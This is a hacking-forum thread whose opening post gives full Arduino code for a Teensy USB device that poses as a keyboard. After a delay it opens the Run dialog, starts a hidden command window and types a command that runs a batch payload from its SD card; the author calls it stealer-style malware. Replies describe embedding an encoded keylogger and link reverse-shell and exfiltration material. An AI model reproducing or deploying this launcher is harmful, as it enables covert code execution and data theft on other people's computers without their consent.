Author Topic: [Arduino] Payload launcher for Teensy  (Read 3239 times)

0 Members and 1 Guest are viewing this topic.

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
[Arduino] Payload launcher for Teensy
« on: September 04, 2013, 10:38:22 pm »
As I wrote on my blog just now: http://9v.lt/blog/arduino-payload-launcher-teensy/

The other day I have bought a Teensy2 to play around with. My goal was to make it launch my payloads as fast and as stealthy as possible.
I have never coded for arduino and right after I received my teensy in mail I started researching and reading up on arduino programming. I was surprised at how easy it was to begin with it. The PJRC tutorial was a good starting point.

After toying around a bit with arduino language I decided to start a project. It’s simple, had to do some reading and research in the process but the final result is great. Below I’ll give the code for Teensy.

My payload launcher requires some things:

Teensy has to have an SD card adapter installed with SD card present in it. I bought one along with a teensy because it was designed for it :P to attach the adapter I used smaller pins than they sell on PJRC and wrapped around with electrical tape – that way I didn’t have to solder anything leaving contacts in tact and it still works as it should.

Teensy comes with 1 on-board LED on pin 11. That didn’t suffice my needs, so I had to install 2 separate LED’s as indicators. I used red and green ones coupled with 220 ohm resistors, attached to pins 9 and 10.
Work indication depends on a control file which must be created after your work is done. When Teensy is inserted and if there was an error initializing SD card, both, green and red LED’s will light up. If everything is OK, a red led will light up until the code starts executing – in my code it’s set to 15 seconds delay. While code is running the red LED will blink and when your work is done, a green LED will light up indicating that the work is done.

The SD card must be named as TEENSY for the code to find itself when the launcher runs.

Download whole project here: Arduino_PayloadLauncher.zip

Everything fits nicely in a match box. I glued it around with 1mm cardboard for reinforcement.

Here’s how it looks like :)




Video demo:
http://www.youtube.com/watch?v=VrtP7FYHFSI

Now the code. It’s well commented, so every noob should be able to modify it to their needs. In the future I will try to make teensy directly execute a payload when it is launched instead of navigating the computer to execute it, but it is very hard on payload side due to very small internal memory size.

Anyway, here it is:

Code: (c) [Select]
/*
    Author: Kulverstukas
    Website: http://9v.lt
    Description:
          Payload launcher script for Teensy 2.0. Script is mostly based on the stealer type of malware.
          Script is programmed to indicate work through 2 LED's attached to pins 9 and 10.
*/

//==============================================

#include <SD.h>

//==============================================

/* this is the command that is executed in a CMD */
const char* CMD_COMMAND = "for /F %i in ('WMIC logicaldisk where \"DriveType=2\" list brief ^| find \"TEENSY\"') do (%i && start "" workemu.bat) && exit";

/* this is the command to execute in RUN */
const char* RUN_COMMAND = "cmd.exe /K MODE CON COLS=16 LINES=1";

/* a control variable so that the program knows when the program has ended executing */
//boolean foundFile = false;

/* Teensy 2.0 chip  */
const int TEENSY_CHIP = 0;

/* time to wait until instalation finishes. 15 seconds is enough most of the time... */
const int TIME_UNTIL_INSTALL = 15;

/* control file name */
char* CONTROL_FILE = "control";

/* LED pins */
const int RED_LED = 9;
const int GREEN_LED = 10;

//File root;

//==============================================

/* prototype functions */
void indicateWork(int);
void execute();
void initCard();
boolean checkForFile();

//==============================================

/* everything is being done here. setup() is used to make the script run only once */
void setup() {
    Serial.begin(9600);
    pinMode(9, OUTPUT);
    pinMode(10, OUTPUT);
    digitalWrite(RED_LED, HIGH);
   
    initCard();
 
    // check the SD card for existing file here. For now we will just emulate shit
    execute();

    // constantly check for the control file and break out if it has
    while (!checkForFile()) {
        indicateWork(500);
    }
    digitalWrite(RED_LED, LOW);
    digitalWrite(GREEN_LED, HIGH);
}

//==============================================

void loop() {
    // do nothing here
}

//==============================================

/* actual work is being done here */
void execute() {
    Keyboard.begin();
   
    delay(TIME_UNTIL_INSTALL*1000);
    Keyboard.press(KEY_RIGHT_GUI);
    Keyboard.press(KEY_R);
    delay(100);
    Keyboard.releaseAll();
    delay(500);
   
    Keyboard.print(RUN_COMMAND);
    Keyboard.press(KEY_ENTER);
    delay(100);
    Keyboard.releaseAll();
    delay(1000);

    Keyboard.print(CMD_COMMAND);
    Keyboard.press(KEY_ENTER);   
    Keyboard.releaseAll();
   
    Keyboard.end();
}

//==============================================

/* LED blinking function to show that it's still writing  */
void indicateWork(int millis) {
    digitalWrite(RED_LED, HIGH);
    delay(500);
    digitalWrite(RED_LED, LOW);
    delay(500);
}

//==============================================

void initCard() {
    Serial.println("Initializing the card...");
   
    if (!SD.begin(TEENSY_CHIP)) {
        Serial.println("init failed!");
        digitalWrite(RED_LED, HIGH);
        digitalWrite(GREEN_LED, HIGH);
    } else {
        Serial.println("init done!");
    }
}

//==============================================

boolean checkForFile() {
    boolean exists = false;
    Serial.println("checking for file...");
    if (SD.exists(CONTROL_FILE)) {
        Serial.println("control file exists!");
        exists = true;
    } else {
        Serial.println("control file doesn't exist yet...");
        exists = false;
    }
    return exists;
}

//==============================================

I hope I didn't forget to mention anything.

Comments?
« Last Edit: September 05, 2013, 05:57:38 pm by Kulverstukas »

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [Arduino] Payload launcher for Teensy
« Reply #1 on: September 05, 2013, 05:58:29 pm »
Bump. Video demo uploaded and added to first post, if anyone cares :P
Can be seen here: http://www.youtube.com/watch?v=VrtP7FYHFSI

Offline vezzy

  • Royal Highness
  • ****
  • Posts: 771
  • Cookies: 172
    • View Profile
Re: [Arduino] Payload launcher for Teensy
« Reply #2 on: September 05, 2013, 06:52:01 pm »
N.W.A.? Talk about unfitting music.
Quote from: Dippy hippy
Just brushing though. I will be semi active mainly came to find a HQ botnet, like THOR or just any p2p botnet

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [Arduino] Payload launcher for Teensy
« Reply #3 on: September 05, 2013, 07:15:49 pm »
well, I was listening to it at the time :P

Offline frog

  • Knight
  • **
  • Posts: 232
  • Cookies: 16
    • View Profile
Re: [Arduino] Payload launcher for Teensy
« Reply #4 on: September 18, 2013, 12:38:03 am »
Nice, is that a matchbox? I've been fooling with my teensy 3 for awhile working on something similar. I've seen people launch payloads 1 of 2 ways with these teensies:

-using sd card adapter and launching stored .exe using functions from sdcard lib like you're doing here.. (you still need to have windows execute using the teensy to type commands and run)

-storing a text encoding of the binary in flash memory along with your 'sketch' and then having the teensy type out a decode script(vbscript or powershell for windows) as well as your stored encoding and run it.

The second method is more work, and has some limitations. You have to store the encoded binary in flashmem(using PROGMEM variables to tell the compiler to store data somewhere else besides static ram) because there is only about 16,000 characters that can be stored in static ram and well our program needs all the space it can get(my small, shitty all-caps keylogger takes up about 30,000 characters encoded; almost too big for the teensy2 with 32k of flash mem but perfect for teensy3 with 131k).

Instead of 'char encoded[]' arrays we need to use 'prog_char encoded[] PROGMEM' arrays and these character arrays have a limitation of about 1000 chars a piece so we have to split up our binary in multiple arrays of this type. A pain in the ass, I know. I'm working on a script to encode and split the arrays into usable arduino code.

Hak5 has their own custom micro-controller that works the same and they have their own scripting facility for this. You should check out the videos, it's pretty cool. They also have a github that outlines the second method I mentioned: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---reverse-shell

Their other videos posted recently about data ex-filtration are cool as well; you're guaranteed to learn something new.

Here are the links:
http://hak5.org/episodes/hak5-1503
http://hak5.org/episodes/hak5-1502
« Last Edit: September 18, 2013, 12:48:14 am by frog »

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [Arduino] Payload launcher for Teensy
« Reply #5 on: September 18, 2013, 07:45:45 am »
Launching from SD card also has some limitations. It highly depends on the version of windows, I think.

I would of bough the rubber ducky instead of teensy for this, but hell, rubber ducky along with shipping costs was just too expensive... so I went with a cheaper solution.

Offline frog

  • Knight
  • **
  • Posts: 232
  • Cookies: 16
    • View Profile
Re: [Arduino] Payload launcher for Teensy
« Reply #6 on: September 19, 2013, 10:11:46 am »
Launching from SD card also has some limitations. It highly depends on the version of windows, I think.

I would of bough the rubber ducky instead of teensy for this, but hell, rubber ducky along with shipping costs was just too expensive... so I went with a cheaper solution.

Yea I don't blame you; I like the rubber ducky but there's something about writing your own code and being able to interface other sensors/relays that makes the teensy more valuable.